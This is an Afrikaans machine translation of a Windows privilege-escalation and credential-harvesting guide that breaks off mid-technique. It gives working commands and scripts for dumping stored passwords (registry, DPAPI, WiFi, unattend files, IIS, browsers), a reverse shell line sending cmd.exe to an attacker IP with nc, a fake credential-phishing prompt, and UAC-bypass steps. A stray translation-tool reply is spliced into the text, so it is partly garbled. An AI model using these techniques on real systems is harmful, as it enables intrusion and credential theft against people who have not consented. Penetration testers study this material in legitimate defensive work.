Kyk na hierdie bladsy vir Firewall-verwante opdragte (lys reëls, skep reëls, skakel af, skakel af...)
Meer opdragte vir network enumeration hier
Windows Subsystem for Linux (wsl)
C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe
BinĂȘre bash.exe
kan ook gevind word in C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe
As jy root user kry, kan jy op enige poort luister (die eerste keer wat jy nc.exe
gebruik om op 'n poort te luister, sal dit via die GUI vra of nc
deur die firewall toegelaat moet word).
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
Om maklik bash as root te begin, kan jy probeer --default-user root
Jy kan die WSL
lĂȘerstelsel verken in die gids C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\
Windows Credentials
Winlogon Credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
Credentials manager / Windows vault
From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Die Windows Vault stoor gebruikerscredentials vir bedieners, webwerwe en ander programme wat Windows die gebruikers outomaties kan aanmeld. Op die eerste oogopslag mag dit lyk asof gebruikers nou hulle Facebook-, Twitter-, Gmail-credentials, ens. kan stoor sodat hulle outomaties via blaaiers aangemeld word. Maar dit is nie so nie.
Windows Vault stoor credentials wat Windows vir gebruikers outomaties kan gebruik om aan te meld, wat beteken dat enige Windows-toepassing wat credentials benodig om toegang tot 'n bron te kry (server of webwerf) gebruik kan maak van die Credential Manager & Windows Vault en die verskafde credentials kan gebruik in plaas daarvan dat gebruikers telkens die gebruikersnaam en wagwoord moet invoer.
Tensy die toepassings met Credential Manager interaksie het, dink ek nie dit is moontlik vir hulle om die credentials vir 'n gegewe bron te gebruik nie. Dus, as jou toepassing die vault wil gebruik, moet dit op een of ander manier kommunikeer met die credential manager en die credentials vir daardie bron aanvra vanaf die standaard stoorvault.
Gebruik die cmdkey
om die gestoorde credentials op die masjien te lys.
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
Dan kan jy runas
met die /savecred
-opsie gebruik om die gestoorde credentials te gebruik. Die volgende voorbeeld roep 'n remote binary via 'n SMB-share aan.
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
Gebruik runas
met 'n verskafde stel credential.
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
Let wel dat mimikatz, lazagne, credentialfileview, VaultPasswordView, of vanaf die Empire Powershells module.
DPAPI
Die Data Protection API (DPAPI) bied 'n metode vir symmetriese enkripsie van data, hoofsaaklik gebruik binne die Windows-bedryfstelsel vir die symmetriese enkripsie van asymmetriese private sleutels. Hierdie enkripsie maak gebruik van 'n gebruiker- of stelselgeheim wat beduidend bydra tot entropie.
DPAPI maak dit moontlik om sleutels te enkripteer deur 'n symmetriese sleutel wat afgelei is van die gebruiker se aanmeldgeheime. In scenario's wat stelsel-enkripsie betrek, gebruik dit die stelsel se domein-verifikasiegeheime.
Versleutelde gebruikers RSA-sleutels, deur DPAPI gebruik, word gestoor in die %APPDATA%\Microsoft\Protect{SID} gids, waar {SID} die gebruiker se Security Identifier verteenwoordig. Die DPAPI sleutel, wat saam met die master sleutel wat die gebruiker se private sleutels in dieselfde lĂȘer beskerm, gekorreleer is, bestaan tipies uit 64 bytes ewekansige data. (Dit is belangrik om te let dat toegang tot hierdie gids beperk is, wat verhoed dat jy die inhoud met die dir
bevel in CMD kan lys, alhoewel dit via PowerShell gelys kan word).
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
Jy kan die mimikatz module dpapi::masterkey
met die toepaslike argumente (/pvk
of /rpc
) gebruik om dit te ontsleutel.
Die credentials files protected by the master password is gewoonlik geleë in:
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Jy kan die mimikatz module dpapi::cred
met die toepaslike /masterkey
gebruik om te ontsleutel.
Jy kan extract many DPAPI masterkeys from memory met die sekurlsa::dpapi
module (as jy root is).
PowerShell inlogbewyse
PowerShell inlogbewyse word dikwels gebruik vir scripting en automatiseringstake as 'n manier om geënkripteerde inlogbewyse gerieflik te stoor. Die inlogbewyse word beskerm deur DPAPI, wat gewoonlik beteken dat hulle slegs deur dieselfde gebruiker op dieselfde rekenaar waarop dit geskep is, ontsleutel kan word.
Om 'n PS-inlogbewys uit die lĂȘer wat dit bevat te ontsleutel, kan jy die volgende doen:
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username
john
PS C:\htb> $credential.GetNetworkCredential().password
JustAPWD!
Draadloos
#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*
Gestyorde RDP Connections
Jy kan hulle vind by HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
en in HKCU\Software\Microsoft\Terminal Server Client\Servers\
Onlangs uitgevoerde kommando's
HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
Afstandslessenaar Kredensiaalbestuurder
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Use the Mimikatz dpapi::rdg
module with appropriate /masterkey
to decrypt any .rdg files
You can extract many DPAPI masterkeys from memory with the Mimikatz sekurlsa::dpapi
module
Sticky Notes
Mense gebruik dikwels die StickyNotes-app op Windows-werkstasies om wagwoorde en ander inligting te stoor, sonder om te besef dat dit 'n databasislĂȘer is. Hierdie lĂȘer is geleĂ« by C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite
en dit is altyd die moeite werd om te soek en te ondersoek.
AppCmd.exe
Note that to recover passwords from AppCmd.exe you need to be Administrator and run under a High Integrity level.
AppCmd.exe is located in the %systemroot%\system32\inetsrv\
directory.
If this file exists then it is possible that some credentials have been configured and can be recovered.
Hierdie kode is onttrek uit PowerUP:
function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"
# Check if appcmd.exe exists
if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable
# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")
# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {
# Get application pool name
$PoolName = $_
# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd
# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd
# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}
# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {
# Get Virtual Directory Name
$VdirName = $_
# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd
# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd
# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}
# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}
SCClient / SCCM
Kyk of C:\Windows\CCM\SCClient.exe
bestaan .
Installers word run with SYSTEM privileges, baie is kwesbaar vir DLL Sideloading (Info from https://github.com/enjoiz/Privesc).
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }
LĂȘers en Register (Credentials)
Putty Creds
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
Putty SSH gasheer-sleutels
reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
SSH keys in registry
SSH private sleutels kan in die registersleutel HKCU\Software\OpenSSH\Agent\Keys
gestoor word, dus moet jy kyk of daar iets interessant daarin is:
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
As jy enige inskrywing binne daardie pad vind sal dit waarskynlik 'n gestoor SSH-sleutel wees. Dit word versleuteld gestoor maar kan maklik ontsleuteld word met behulp van https://github.com/ropnop/windows_sshagent_extract.
Meer inligting oor hierdie tegniek hier: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/
As die ssh-agent
diens nie loop nie en jy wil hĂȘ dit moet outomaties by opstart begin, voer uit:
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
tip
Dit lyk asof hierdie tegniek nie meer geldig is nie. Ek het probeer om ssh
-sleutels te skep, dit by te voeg met ssh-add
en via ssh
op 'n masjien aan te meld. Die register HKCU\Software\OpenSSH\Agent\Keys bestaan nie en procmon het nie die gebruik van dpapi.dll
tydens die asymmetriese sleutelverifikasie geĂŻdentifiseer nie.
Onbewaakte lĂȘers
C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
Jy kan hierdie lĂȘers ook soek met metasploit: post/windows/gather/enum_unattend
Voorbeeldinhoud:
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
SAM & SYSTEM rugsteune
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
Wolk-inlogbesonderhede
#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json
McAfee SiteList.xml
Soek na 'n lĂȘer genaamd SiteList.xml
Gecachte GPP Pasword
Daar was voorheen 'n funksie beskikbaar wat die ontplooiing van pasgemaakte lokale administratorrekeninge op 'n groep masjiene via Group Policy Preferences (GPP) toegelaat het. Hierdie metode het egter beduidende sekuriteitsgebreke gehad. Eerstens kon die Group Policy Objects (GPOs), gestoor as XML-lĂȘers in SYSVOL, deur enige domeingebruiker toeganklik wees. Tweedens kon die passwords binne hierdie GPPs, encrypted with AES256 using a publicly documented default key, deur enige geverifieerde gebruiker ontkripteer word. Dit het 'n ernstige risiko voorgestel, aangesien dit gebruikers kon toelaat om verhoogde voorregte te verkry.
Om hierdie risiko te verminder, is 'n funksie ontwikkel om te skandeer na plaaslik gecachede GPP-lĂȘers wat 'n "cpassword" veld bevat wat nie leeg is nie. Wanneer so 'n lĂȘer gevind word, ontsleutel die funksie die password en gee 'n pasgemaakte PowerShell object terug. Hierdie objek sluit besonderhede oor die GPP en die lĂȘer se ligging in, wat help met die identifikasie en verwydering van hierdie sekuriteitskwessie.
Soek in C:\ProgramData\Microsoft\Group Policy\history
of in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (voor Windows Vista) vir hierdie lĂȘers:
- Groups.xml
- Services.xml
- Scheduledtasks.xml
- DataSources.xml
- Printers.xml
- Drives.xml
Om die cPassword te ontsleutel:
#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
Gebruik crackmapexec om die wagwoorde te kry:
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
IIS Web-konfigurasie
Get-Childitem âPath C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Get-Childitem âPath C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem âPath C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Voorbeeld van web.config met inlogbewyse:
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>
OpenVPN inlogbewyse
Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}
foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]
$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}
Logs
# IIS
C:\inetpub\logs\LogFiles\*
#Apache
Get-Childitem âPath C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
Vra vir credentials
Jy kan altyd die gebruiker vra om sy credentials in te voer of selfs die credentials van 'n ander gebruiker as jy dink hy dit kan weet (let wel dat om die kliënt direk te vra vir die credentials regtig riskant is):
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
#Get plaintext
$cred.GetNetworkCredential() | fl
Moontlike lĂȘername wat inlogbesonderhede bevat
Bekende lĂȘers wat 'n tyd gelede wagtewoorde in clear-text of Base64 bevat het
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db #Firefox
key4.db #Firefox
places.sqlite #Firefox
"Login Data" #Chrome
Cookies #Chrome
Bookmarks #Chrome
History #Chrome
TypedURLsTime #IE
TypedURLs #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
I don't see any files or content to translate. Please paste the README.md (or other files) you want translated or specify the files to search.
cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem âPath C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
Credentials in the RecycleBin
Jy moet ook die Bin nagaan om na credentials daarin te soek
Om recover passwords wat deur verskeie programme gestoor is te herstel, kan jy gebruik maak van: http://www.nirsoft.net/password_recovery_tools.html
Binne die register
Ander moontlike registersleutels met credentials
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"
Extract openssh keys from registry.
Blaaiersgeskiedenis
Jy moet kyk na dbs waar wagwoorde van Chrome or Firefox gestoor word.
Kontroleer ook die geskiedenis, boekmerke en gunstelinge van die blaaiers aangesien dalk sommige wagwoorde daar gestoor is.
Gereedskap om wagwoorde uit blaaiers te onttrek:
- Mimikatz:
dpapi::chrome
- SharpWeb
- SharpChromium
- SharpDPAPI
COM DLL Overwriting
Component Object Model (COM) is 'n tegnologie ingebou in die Windows-operating system wat interkommunikasie tussen sagtewarekomponente in verskillende tale moontlik maak. Elke COM-komponent word geĂŻdentifiseer via 'n class ID (CLSID) en elke komponent openbaar funksionaliteit via een of meer interfaces, geĂŻdentifiseer via interface IDs (IIDs).
COM-klasse en interfaces word in die register gedefinieer onder HKEY\CLASSES\ROOT\CLSID en HKEY\CLASSES\ROOT\Interface onderskeidelik. Hierdie register word geskep deur die saamvoeging van HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.
Inside the CLSIDs of this registry you can find the child registry InProcServer32 which contains a default value pointing to a DLL and a value called ThreadingModel that can be Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) or Neutral (Thread Neutral).
Basies, as jy enige van die DLLs wat uitgevoer gaan word kan oorskryf, kan jy moontlik bevoegdhede eskaleer as daardie DLL deur 'n ander gebruiker uitgevoer gaan word.
To learn how attackers use COM Hijacking as a persistence mechanism check:
Algemene wagwoordsoektog in lĂȘers en register
Soek vir lĂȘerinhoud
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*
Soek na 'n lĂȘer met 'n sekere lĂȘernaam
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
Soek die register na sleutelname en wagwoorde
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d
Gereedskap wat na passwords soek
MSF-Credentials Plugin is 'n msf plugin. Ek het hierdie plugin geskep om outomaties elke metasploit POST module uit te voer wat na credentials soek binne die victim.
Winpeas soek outomaties na al die lĂȘers wat passwords bevat wat op hierdie bladsy genoem word.
Lazagne is nog 'n uitstekende tool om passwords uit 'n stelsel te onttrek.
Die tool SessionGopher soek na sessions, usernames en passwords van verskeie tools wat hierdie data in clear text stoor (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP)
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
Leaked Handlers
Imagine that a process running as SYSTEM open a new process (OpenProcess()
) with full access. The same process also create a new process (CreateProcess()
) with low privileges but inheriting all the open handles of the main process.
Then, if you have full access to the low privileged process, you can grab the open handle to the privileged process created with OpenProcess()
and inject a shellcode.
Read this example for more information about how to detect and exploit this vulnerability.
Read this other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access).
Named Pipe Client Impersonation
Gedeelde geheuesegmente, bekend as pipes, maak proseskommunikasie en data-oordrag moontlik.
Windows bied 'n funksie genaamd Named Pipes, wat nie-verwante prosesse toelaat om data te deel, selfs oor verskillende netwerke. Dit is soortgelyk aan 'n client/server-argitektuur, met rolle gedefinieer as named pipe server en named pipe client.
Wanneer data deur 'n pipe gestuur word deur 'n client, het die server wat die pipe opgestel het die vermoë om die identiteit aan te neem van die client, mits dit die nodige SeImpersonate regte het. Om 'n privileged process te identifiseer wat via 'n pipe kommunikeer wat jy kan naboots, bied 'n kans om hoër bevoegdhede te verkry deur die identiteit van daardie proses aan te neem sodra dit met die pipe wat jy geskep het in wisselwerking tree. Vir instruksies oor die uitvoering van so 'n aanval, vind jy nuttige gidse here en here.
Verder laat die volgende gereedskap toe om 'n named pipe-kommunikasie te onderskep met 'n hulpmiddel soos burp: https://github.com/gabriel-sztejnworcel/pipe-intercept en hierdie hulpmiddel stel in staat om alle pipes op te som en te sien om privescs te vind https://github.com/cyberark/PipeViewer
Diverses
LĂȘeruitbreidings wat dinge in Windows kan uitvoer
Sien die bladsy https://filesec.io/
Monitering van command lines vir wagwoorde
Wanneer jy 'n shell as 'n gebruiker kry, kan daar geskeduleerde take of ander prosesse wees wat uitgevoer word wat credentials op die command line deurgee. Die skrip hieronder kap proses command lines elke twee sekondes en vergelyk die huidige toestand met die vorige staat, en gee enige verskille uit.
while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}
Stealing passwords from processes
From Low Priv User to NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass
Indien jy toegang het tot die grafiese koppelvlak (via console of RDP) en UAC geaktiveer is, is dit in sommige weergawes van Microsoft Windows moontlik om 'n terminal of enige ander proses soos "NT\AUTHORITY SYSTEM" te laat loop vanaf 'n ongeprivilegieerde gebruiker.
Dit maak dit moontlik om bevoegdhede te eskaleer en UAC terselfdertyd met dieselfde kwesbaarheid te omseil. Daarbenewens hoef niks geĂŻnstalleer te word nie en die binary wat tydens die proses gebruik word, is deur Microsoft geteken en uitgegee.
Some of the affected systems are the following:
SERVER
======
Windows 2008r2 7601 ** link OPENED AS SYSTEM **
Windows 2012r2 9600 ** link OPENED AS SYSTEM **
Windows 2016 14393 ** link OPENED AS SYSTEM **
Windows 2019 17763 link NOT opened
WORKSTATION
===========
Windows 7 SP1 7601 ** link OPENED AS SYSTEM **
Windows 8 9200 ** link OPENED AS SYSTEM **
Windows 8.1 9600 ** link OPENED AS SYSTEM **
Windows 10 1511 10240 ** link OPENED AS SYSTEM **
Windows 10 1607 14393 ** link OPENED AS SYSTEM **
Windows 10 1703 15063 link NOT opened
Windows 10 1709 16299 link NOT opened
Om hierdie kwesbaarheid uit te buit, is dit nodig om die volgende stappe uit te voer:
1) Right click on the HHUPD.EXE file and run it as Administrator.
2) When the UAC prompt appears, select "Show more details".
3) Click "Show publisher certificate information".
4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.
5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.
6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.
7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.
8) Remember to cancel setup and the UAC prompt to return to your desktop.
Jy het al die nodige lyste en inligting in die volgende GitHub-repository:
https://github.com/jas502n/CVE-2019-1388
Van Administrator Medium na High Integrity Level / UAC Bypass
Lees dit om meer te leer oor Integrity Levels:
Lees dan dit om meer te leer oor UAC en UAC bypasses:
From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP
Die tegniek beskryf in hierdie blog post met 'n exploit code available here.
Die aanval bestaan basies daarin om die Windows Installer se rollback-funksie te misbruik om wettige lĂȘers tydens die uninstall-proses met kwaadwillige lĂȘers te vervang. Hiervoor moet die aanvaller 'n malicious MSI installer skep wat gebruik sal word om die C:\Config.Msi
gids te kap, wat later deur die Windows Installer gebruik sal word om rollback-lĂȘers te stoor tydens die uninstall van ander MSI pakkette waar die rollback-lĂȘers gemodifiseer sou wees om die kwaadwillige payload te bevat.
Die samevatting van die tegniek is die volgende:
- Stage 1 â Preparing for the Hijack (leave
C:\Config.Msi
empty)
-
Step 1: Install the MSI
-
Skep 'n
.msi
wat 'n onskuldige lĂȘer installeer (bv.dummy.txt
) in 'n skryfbare vouer (TARGETDIR
). -
Merk die installer as "UAC Compliant", sodat 'n non-admin user dit kan uitvoer.
-
Hou 'n handle oop na die lĂȘer nĂĄ installasie.
-
Step 2: Begin Uninstall
-
Uninstall dieselfde
.msi
. -
Die uninstall-proses begin lĂȘers na
C:\Config.Msi
skuif en hernoem hulle na.rbf
lĂȘers (rollback backups). -
Poll the open file handle met
GetFinalPathNameByHandle
om te detect wanneer die lĂȘerC:\Config.Msi\<random>.rbf
word. -
Step 3: Custom Syncing
-
Die
.msi
sluit 'n custom uninstall action (SyncOnRbfWritten
) in wat: -
Signal wanneer
.rbf
geskryf is. -
Dan wag op 'n ander event voordat dit voortgaan met die uninstall.
-
Step 4: Block Deletion of
.rbf
-
Wanneer gesignaleer, open die
.rbf
lĂȘer sonderFILE_SHARE_DELETE
â dit verhoed dat dit verwyder word. -
Dan signal terug sodat die uninstall kan klaarmaak.
-
Windows Installer misluk om die
.rbf
te verwyder, en omdat dit nie al die inhoud kan verwyder nie, wordC:\Config.Msi
nie verwyder nie. -
Step 5: Manually Delete
.rbf
-
Jy (aanvaller) verwyder die
.rbf
lĂȘer handmatig. -
Nou is
C:\Config.Msi
leeg, gereed om gekaap te word.
Op hierdie punt, trigger die SYSTEM-level arbitrary folder delete vulnerability om
C:\Config.Msi
te verwyder.
- Stage 2 â Replacing Rollback Scripts with Malicious Ones
-
Step 6: Recreate
C:\Config.Msi
with Weak ACLs -
Hervorm die
C:\Config.Msi
gids self. -
Stel weak DACLs (bv. Everyone:F), en hou 'n handle oop met
